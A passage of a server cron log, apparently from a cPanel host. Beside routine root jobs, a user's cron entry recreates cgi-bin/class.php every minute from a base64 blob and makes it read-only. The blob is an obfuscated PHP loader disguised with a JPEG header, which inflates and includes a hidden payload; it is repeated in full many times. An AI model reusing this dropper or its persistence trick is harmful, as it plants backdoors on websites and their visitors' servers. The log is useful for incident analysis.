3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:57:01 server CROND[22018]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 04:58:01 server CROND[22127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:59:01 server CROND[22280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:00:01 server CROND[22328]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 05:00:01 server CROND[22330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:00:01 server CROND[22329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:00:01 server CROND[22331]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:01:01 server CROND[22441]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 05:01:01 server CROND[22442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:01:01 server run-parts(/etc/cron.hourly)[22441]: starting 0anacron
Apr 11 05:01:01 server run-parts(/etc/cron.hourly)[22455]: finished 0anacron
Apr 11 05:02:01 server CROND[22503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:03:01 server CROND[22546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:04:01 server CROND[22702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:05:01 server CROND[22761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:05:01 server CROND[22759]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 11 05:05:01 server CROND[22760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:05:01 server CROND[22763]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 05:05:01 server CROND[22762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:06:01 server CROND[22875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:07:01 server CROND[22938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:08:01 server CROND[22985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:09:01 server CROND[23041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:09:01 server CROND[23042]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 05:10:01 server CROND[23195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:10:01 server CROND[23196]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:10:01 server CROND[23197]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 05:10:01 server CROND[23198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
